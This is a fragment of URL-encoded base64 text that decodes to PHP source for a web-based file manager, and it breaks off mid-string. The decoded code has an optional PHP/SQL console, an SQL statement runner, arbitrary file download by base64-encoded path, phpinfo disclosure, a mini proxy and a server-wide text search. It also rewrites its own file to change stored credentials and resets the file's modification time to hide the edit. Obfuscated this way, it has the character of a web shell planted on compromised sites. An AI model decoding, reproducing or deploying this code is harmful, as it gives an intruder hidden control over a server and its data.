b3JlYWNoICgkc3FsQXJyYXkgYXMgJHN0bXQpIHsNCiAgICAgICAgaWYgKHN0cmxlbigkc3RtdCk%2BMyl7DQoJCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCRzdG10KTsNCgkJCQlpZiAoISRyZXN1bHQpew0KCQkJCQkkc3FsRXJyb3JDb2RlID0gbXlzcWxpX2Vycm5vKCRteXNxbGRiLT5jb25uZWN0aW9uKTsNCgkJCQkJJHNxbEVycm9yVGV4dCA9IG15c3FsaV9lcnJvcigkbXlzcWxkYi0%2BY29ubmVjdGlvbik7DQoJCQkJCSRzcWxTdG10ICAgICAgPSAkc3RtdDsNCgkJCQkJYnJlYWs7DQogICAgICAgICAgIAkgICAgIH0NCiAgICAgICAgICAgCSAgfQ0KICAgICAgICAgICB9DQppZiAoZW1wdHkoJHNxbEVycm9yQ29kZSkpIHJldHVybiBfXygnU3VjY2VzcycpLicg4oCUICcuJHNxbEZpbGVUb0V4ZWN1dGU7DQplbHNlIHJldHVybiAkc3FsRXJyb3JUZXh0Lic8YnIvPicuJHN0bXQ7DQp9DQoNCmZ1bmN0aW9uIGZtX2ltZ19saW5rKCRmaWxlbmFtZSl7DQoJcmV0dXJuICcuLycuYmFzZW5hbWUoX19GSUxFX18pLic%2FaW1nPScuYmFzZTY0X2VuY29kZSgkZmlsZW5hbWUpOw0KfQ0KDQpmdW5jdGlvbiBmbV9ob21lX3N0eWxlKCl7DQoJcmV0dXJuICcNCmlucHV0LCBpbnB1dC5mbV9pbnB1dCB7DQoJdGV4dC1pbmRlbnQ6IDJweDsNCn0NCg0KaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmZtX2lucHV0IHsNCgljb2xvcjogYmxhY2s7DQoJZm9udDogbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KCWJvcmRlci1jb2xvcjogYmxhY2s7DQoJYmFja2dyb3VuZC1jb2xvcjogI0ZGN0Y1MCBub25lICFpbXBvcnRhbnQ7DQoJYm9yZGVyLXJhZGl1czogMDsNCglwYWRkaW5nOiAycHg7DQp9DQoNCmlucHV0LmZtX2lucHV0IHsNCgliYWNrZ3JvdW5kOiAjRkY3RjUwIG5vbmUgIWltcG9ydGFudDsNCgljdXJzb3I6IHBvaW50ZXI7DQp9DQoNCi5ob21lIHsNCgliYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLL0lOd1dLNlFBQUFnUlFURlJGL2YzOTZPam8vLy8vdFQwMnpyK2Z3NjZSdGo0MzJURXAzTVhFMkRBcjNUWXAxeTRtdER3Mi83Qk0vN0JPcVZwYy84bDMxamNxcTZlbndjSEIyVGdpNWpncVZwYkZ2cmEybkJBVi9QejgyUzBqbngwVzNUVWtxU2dpNGVIaDRUc3JlNHdvc3owMjZ1UGp6R1lkNlVzM3luQXlkVUJBNUtsM2ZtNWVxWmFXN09EZ2kyVmcrUGo0dVkrRXdMbTViWTlVLy83amZMdEMrdE9LM2pjbS83MXUyallvMVVZaDVhSmwvc2VDM2pFbTEya21KcklBMWpNbS85YVU0TGgwZTAxQmxJYUUvLy9kaE1kQzdJQS8vZlRaMmMzTVc2bk4zMHdmOTVWZDRKZFhvWFZvczhuRTRlZk4vKzYzSUpnU25ZaGw3RjRjc1h0ODlHUVV3TCsvamwxYzQxQXErZmIyZ210STFyS2EyQzRrSmFJQTNqWXJsVHc1dGo0MjNqWW4zY1hFMXpRb3hNSEJwMWxaM0RnbXFpa3MvK21jakxLODNqWWt5bU1WM1RZay8vSE0rdTdXaG10cjBvZFRwYU9qZldKZnJIcGcvOEJzLzd0Vy83VmUrNFU1MkRNbTNNTEJuNHFMZ05WTTZNekIzbEVmbEl1TC8rakEvLy8yMExPempYeDgvN2xiV3BKRzJDOGszVG9zSktNQTF5d2pvcE9SMXpZcDVEc3BpYXkreUtOaHFLU2s4Tlc2L2ZqbnM3T3oydG5adXo4ODdiK1czYVJZLyttczRyQ0UzVG90N1Y4NWJLeGp1RUEzdzQ1Vmg1dWhxNmFtNGNGeGdaWlcvOXFJdXdnS3kwc1crdWpUNFRRbnR6NDIzQzhpM3pVai8rS3cvYTVkNlVNeHVMNnd6REVyLy8vL2NxSlFmQUFBQUt4MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9BQVdWRmJFQUFBQVpkRVZZZEZOdlpuUjNZWEpsQUVGa2IySmxJRWx0WVdkbFVtVmhaSGx4eVdVOEFBQUEyVWxFUVZRb1UyTllqUVlZc0FpRThVOVl6RFlqVnBHWlJ4TWlFQ2l0TXJWWnZvTXJUbFEyRVNSUUoyRlZ3aW5ZYm1xVFVMb29obkUxZzFhS0dTL2ZOTXRrNDB5WjlLVkxRaGdZa3VZN054UXZYeUhWRk5uS3pSNjlxcHhCUE1lejBFVEFReVRVdlNvZ2FJRmFQY05xVi9NNWRoYTJSbDJUaW1iNlorUUJEWTFYTi9TYnU4eEZMRzNlTERmbDJVQUJqaWxPMW8wMTJaM2VrMWxaVklXQUFtVVRLNkwwczNwWCtqajZwdVoyQXdXVXZCUmFwaHN3TWRVdWpDaXdEd2E1VkVkUEk3eW5VbGM3djFxWVVSTHF1ZjQyaHo0NUNCUER0d0FDcm0rUkRjeEpZQUFBQUFCSlJVNUVya0pnZ2c9PSIpOw0KCWJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQp9JzsNCn0NCg0KZnVuY3Rpb24gZm1fY29uZmlnX2NoZWNrYm94X3JvdygkbmFtZSwkdmFsdWUpIHsNCglnbG9iYWwgJGZtX2NvbmZpZzsNCglyZXR1cm4gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBpZD0iZm1fY29uZmlnXycuJHZhbHVlLiciIG5hbWU9ImZtX2NvbmZpZ1snLiR2YWx1ZS4nXSIgdmFsdWU9IjEiICcuKGVtcHR5KCRmbV9jb25maWdbJHZhbHVlXSk%2FJyc6J2NoZWNrZWQ9InRydWUiJykuJyB0eXBlPSJjaGVja2JveCI%2BPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjxsYWJlbCBmb3I9ImZtX2NvbmZpZ18nLiR2YWx1ZS4nIj4nLiRuYW1lLic8L3RkPjwvdHI%2BJzsNCn0NCg0KZnVuY3Rpb24gZm1fcHJvdG9jb2woKSB7DQoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1NDSEVNRSddKSkgcmV0dXJuICRfU0VSVkVSWydIVFRQX1NDSEVNRSddLic6Ly8nOw0KCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczovLyc7DQoJaWYgKGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSAmJiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMpIHJldHVybiAnaHR0cHM6Ly8nOw0KCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcycpIHJldHVybiAnaHR0cHM6Ly8nOw0KCXJldHVybiAnaHR0cDovLyc7DQp9DQoNCmZ1bmN0aW9uIGZtX3NpdGVfdXJsKCkgew0KCXJldHVybiBmbV9wcm90b2NvbCgpLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCn0NCg0KZnVuY3Rpb24gZm1fdXJsKCRmdWxsPWZhbHNlKSB7DQoJJGhvc3Q9JGZ1bGw%2FZm1fc2l0ZV91cmwoKTonLic7DQoJcmV0dXJuICRob3N0LicvJy5iYXNlbmFtZShfX0ZJTEVfXyk7DQp9DQoNCmZ1bmN0aW9uIGZtX2hvbWUoJGZ1bGw9ZmFsc2Upew0KCXJldHVybiAnJm5ic3A7PGEgaHJlZj0iJy5mbV91cmwoJGZ1bGwpLiciIHRpdGxlPSInLl9fKCdIb21lJykuJyI%2BPHNwYW4gY2xhc3M9ImhvbWUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj48L2E%2BJzsNCn0NCg0KZnVuY3Rpb24gZm1fcnVuX2lucHV0KCRsbmcpIHsNCglnbG9iYWwgJGZtX2NvbmZpZzsNCgkkcmV0dXJuID0gIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV8nLiRsbmcuJ19jb25zb2xlJ10pID8gDQoJJw0KCQkJCTxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy5mbV91cmwoKS4nIiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IicuJGxuZy4ncnVuIiB2YWx1ZT0iJy5zdHJ0b3VwcGVyKCRsbmcpLicgJy5fXygnQ29uc29sZScpLiciPg0KCQkJCTwvZm9ybT4NCicgOiAnJzsNCglyZXR1cm4gJHJldHVybjsNCn0NCg0KZnVuY3Rpb24gZm1fdXJsX3Byb3h5KCRtYXRjaGVzKSB7DQoJJGxpbmsgPSBzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJywkbWF0Y2hlc1syXSk7DQoJJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk%2FJF9HRVRbJ3VybCddOicnOw0KCSRwYXJzZV91cmwgPSBwYXJzZV91cmwoJHVybCk7DQoJJGhvc3QgPSAkcGFyc2VfdXJsWydzY2hlbWUnXS4nOi8vJy4kcGFyc2VfdXJsWydob3N0J10uJy8nOw0KCWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy8vJykgew0KCQkkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLGZtX3Byb3RvY29sKCksMCwyKTsNCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMSk9PScvJykgew0KCQkkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMSk7CQ0KCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy4vJykgew0KCQkkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMik7CQ0KCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCw0KT09J2h0dHAnKSB7DQoJCS8vYWxsZXMgbWFjaGVuIHd1bmRlcnNjaG9uDQoJfSBlbHNlIHsNCgkJJGxpbmsgPSAkaG9zdC4kbGluazsNCgl9IA0KCWlmICgkbWF0Y2hlc1sxXT09J2hyZWYnICYmICFzdHJyaXBvcygkbGluaywgJ2NzcycpKSB7DQoJCSRiYXNlID0gZm1fc2l0ZV91cmwoKS4nLycuYmFzZW5hbWUoX19GSUxFX18pOw0KCQkkYmFzZXEgPSAkYmFzZS4nP3Byb3h5PXRydWUmdXJsPSc7DQoJCSRsaW5rID0gJGJhc2VxLnVybGVuY29kZSgkbGluayk7DQoJfSBlbHNlaWYgKHN0cnJpcG9zKCRsaW5rLCAnY3NzJykpew0KCQkvL9C60LDQui3RgtC%2BINGC0L7QttC1INC%2F0L7QtNC80LXQvdGP0YLRjCDQvdCw0LTQvg0KCX0NCglyZXR1cm4gJG1hdGNoZXNbMV0uJz0iJy4kbGluay4nIic7DQp9DQogDQpmdW5jdGlvbiBmbV90cGxfZm9ybSgkbG5nX3RwbCkgew0KCWdsb2JhbCAkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ307DQoJJHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7DQoJJHN0ciA9ICcnOw0KCWZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkgew0KCQkkc3RyIC49ICc8dHI%2BPHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25hbWVbXSIgdmFsdWU9IicuJGt0cGwuJyI%2BPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfdmFsdWVbXSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiPicuJHZ0cGwuJzwvdGV4dGFyZWE%2BIDxpbnB1dCBuYW1lPSJkZWxfJy5yYW5kKCkuJyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJ0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZS5yZW1vdmUoKTsiIHZhbHVlPSInLl9fKCdEZWxldGUnKS4nIi8%2BPC90ZD48L3RyPic7DQoJfQ0KcmV0dXJuICcNCjx0YWJsZT4NCjx0cj48dGggY29sc3Bhbj0iMiI%2BJy5zdHJ0b3VwcGVyKCRsbmdfdHBsKS4nICcuX18oJ3RlbXBsYXRlcycpLicgJy5mbV9ydW5faW5wdXQoJGxuZ190cGwpLic8L3RoPjwvdHI%2BDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI%2BJy5fXygnTmFtZScpLic8L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI%2BJy5fXygnVmFsdWUnKS4nPC90ZD48L3RyPg0KJy4kc3RyLicNCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCBuYW1lPSJyZXMiIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0iZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWVcJzsiIHZhbHVlPSInLl9fKCdSZXNldCcpLiciLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA%2BPC90ZD48L3RyPg0KPC9mb3JtPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI%2BDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmV3X25hbWUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ05hbWUnKS4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI%2BPHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ19uZXdfdmFsdWUiICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdWYWx1ZScpLiciPjwvdGV4dGFyZWE%2BPC90ZD48L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0FkZCcpLiciID48L3RkPjwvdHI%2BDQo8L2Zvcm0%2BDQo8L3RhYmxlPg0KJzsNCn0NCg0KZnVuY3Rpb24gZmluZF90ZXh0X2luX2ZpbGVzKCRkaXIsICRtYXNrLCAkdGV4dCkgew0KICAgICRyZXN1bHRzID0gYXJyYXkoKTsNCiAgICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgICAgIGlmICgkZW50cnkgIT0gIi4iICYmICRlbnRyeSAhPSAiLi4iKSB7DQogICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gIi8iIC4gJGVudHJ5Ow0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzID0gYXJyYXlfbWVyZ2UoJHJlc3VsdHMsIGZpbmRfdGV4dF9pbl9maWxlcygkcGF0aCwgJG1hc2ssICR0ZXh0KSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZubWF0Y2goJG1hc2ssICRlbnRyeSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnRzLCAkdGV4dCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgIH0NCiAgICByZXR1cm4gJHJlc3VsdHM7DQp9DQoNCg0KLyogRW5kIEZ1bmN0aW9ucyAqLw0KDQovLyBhdXRob3JpemF0aW9uDQppZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7DQoJaWYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZCddKSl7DQoJCWlmICgoJF9QT1NUWydsb2dpbiddPT0kYXV0aFsnbG9naW4nXSkgJiYgKCRfUE9TVFsncGFzc3dvcmQnXT09JGF1dGhbJ3Bhc3N3b3JkJ10pKSB7DQoJCQlzZXRjb29raWUoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10sICRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCgkJCSRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXT0kYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKTsNCgkJfQ0KCX0NCglpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSkgT1IgKCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSE9JGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSkpKSB7DQoJCWVjaG8gJw0KJzsgIA0KZGllKCk7DQoJfQ0KCWlmIChpc3NldCgkX1BPU1RbJ3F1aXQnXSkpIHsNCgkJdW5zZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKTsNCgkJc2V0Y29va2llKCRhdXRoWydjb29raWVfbmFtZSddLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJCWhlYWRlcignTG9jYXRpb246ICcuZm1fc2l0ZV91cmwoKS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7DQoJfQ0KfQ0KDQovLyBDaGFuZ2UgY29uZmlnDQppZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7DQoJaWYgKGlzc2V0KCRfR0VUWydmbV9jb25maWdfZGVsZXRlJ10pKSB7IA0KCQl1bnNldCgkX0NPT0tJRVsnZm1fY29uZmlnJ10pOw0KCQlzZXRjb29raWUoJ2ZtX2NvbmZpZycsICcnLCB0aW1lKCkgLSAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCgkJaGVhZGVyKCdMb2NhdGlvbjogJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUnKTsNCgkJZXhpdCgwKTsNCgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9jb25maWcnXSkpIHsgDQoJCSRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddOw0KCQlzZXRjb29raWUoJ2ZtX2NvbmZpZycsIHNlcmlhbGl6ZSgkZm1fY29uZmlnKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJCSRfQ09PS0lFWydmbV9jb25maWcnXSA9IHNlcmlhbGl6ZSgkZm1fY29uZmlnKTsNCgkJJG1zZ19udGltZXMgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTsNCgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9sb2dpbiddKSkgeyANCgkJaWYgKGVtcHR5KCRfUE9TVFsnZm1fbG9naW4nXVsnYXV0aG9yaXplJ10pKSAkX1BPU1RbJ2ZtX2xvZ2luJ10gPSBhcnJheSgnYXV0aG9yaXplJyA9PiAnMCcpICsgJF9QT1NUWydmbV9sb2dpbiddOw0KCQkkZm1fbG9naW4gPSBqc29uX2VuY29kZSgkX1BPU1RbJ2ZtX2xvZ2luJ10pOw0KCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnI2F1dGhvcml6YXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio%2FKVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOw0KCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQoJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fbG9naW4sJGZnYyk7DQoJCQlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KCQkJCSRtc2dfbnRpbWVzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCgkJCQlpZiAoJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddICE9ICRhdXRoWydsb2dpbiddKSAkbXNnX250aW1lcyAuPSAnICcuX18oJ0xvZ2luJykuJzogJy4kX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ107DQoJCQkJaWYgKCRfUE9TVFsnZm1fbG9naW4nXVsncGFzc3dvcmQnXSAhPSAkYXV0aFsncGFzc3dvcmQnXSkgJG1zZ19udGltZXMgLj0gJyAnLl9fKCdQYXNzd29yZCcpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddOw0KCQkJCSRhdXRoID0gJF9QT1NUWydmbV9sb2dpbiddOw0KCQkJfQ0KCQkJZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCgkJfQ0KCX0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3RwbF9lZGl0ZWQnXSkpIHsgDQoJCSRsbmdfdHBsID0gJF9QT1NUWyd0cGxfZWRpdGVkJ107DQoJCWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddKSkgew0KCQkJJGZtX3BocCA9IGpzb25fZW5jb2RlKGFycmF5X2NvbWJpbmUoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddLCRfUE9TVFskbG5nX3RwbC4nX3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOw0KCQl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ10pKSB7DQoJCQkkZm1fcGhwID0ganNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpK2FycmF5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ109PiRfUE9TVFskbG5nX3RwbC4nX25ld192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTsNCgkJfQ0KCQlpZiAoIWVtcHR5KCRmbV9waHApKSB7DQoJCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KCQkJJHNlYXJjaCA9IHByZWdfbWF0Y2goJyMnLiRsbmdfdHBsLidfdGVtcGxhdGVzW1xzXT9cPVtcc10%2FXCdce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsNCgkJCWlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7DQoJCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQoJCQkJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJGZtX3BocCwkZmdjKTsNCgkJCQlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KCQkJCQkkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30gPSAkZm1fcGhwOw0KCQkJCQkkbXNnX250aW1lcyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7DQoJCQkJfSBlbHNlICRtc2dfbnRpbWVzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KCQkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCgkJCX0JDQoJCX0gZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgl9DQp9DQoNCi8vIEp1c3Qgc2hvdyBpbWFnZQ0KaWYgKGlzc2V0KCRfR0VUWydpbWcnXSkpIHsNCgkkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSk7DQoJaWYgKCRpbmZvPWdldGltYWdlc2l6ZSgkZmlsZSkpew0KCQlzd2l0Y2ggICgkaW5mb1syXSl7CS8vMT1HSUYsIDI9SlBHLCAzPVBORywgND1TV0YsIDU9UFNELCA2PUJNUA0KCQkJY2FzZSAxOiAkZXh0PSdnaWYnOyBicmVhazsNCgkJCWNhc2UgMjogJGV4dD0nanBlZyc7IGJyZWFrOw0KCQkJY2FzZSAzOiAkZXh0PSdwbmcnOyBicmVhazsNCgkJCWNhc2UgNjogJGV4dD0nYm1wJzsgYnJlYWs7DQoJCQlkZWZhdWx0OiBkaWUoKTsNCgkJfQ0KCQloZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvJGV4dCIpOw0KCQllY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCgkJZGllKCk7DQoJfQ0KfQ0KDQovLyBKdXN0IGRvd25sb2FkIGZpbGUNCmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHsNCgkkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTsNCglmbV9kb3dubG9hZCgkZmlsZSk7CQ0KfQ0KDQovLyBKdXN0IHNob3cgaW5mbw0KaWYgKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSB7DQoJcGhwaW5mbygpOyANCglkaWUoKTsNCn0NCg0KLy8gTWluaSBwcm94eSwgbWFueSBidWdzIQ0KaWYgKGlzc2V0KCRfR0VUWydwcm94eSddKSAmJiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkpIHsNCgkkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT91cmxkZWNvZGUoJF9HRVRbJ3VybCddKTonJzsNCgkkcHJveHlfZm9ybSA9ICcNCjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MTAwNTAwO2JhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlNGY1ZmMgMCUsI2JmZThmOSA1MCUsIzlmZDhlZiA1MSUsIzJhYjBlZCAxMDAlKTsiPg0KCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI%2BDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icHJveHkiIHZhbHVlPSJ0cnVlIj4NCgknLmZtX2hvbWUoKS4nIDxhIGhyZWY9IicuJHVybC4nIiB0YXJnZXQ9Il9ibGFuayI%2BVXJsPC9hPjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgdmFsdWU9IicuJHVybC4nIiBzaXplPSI1NSI%2BDQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1Nob3c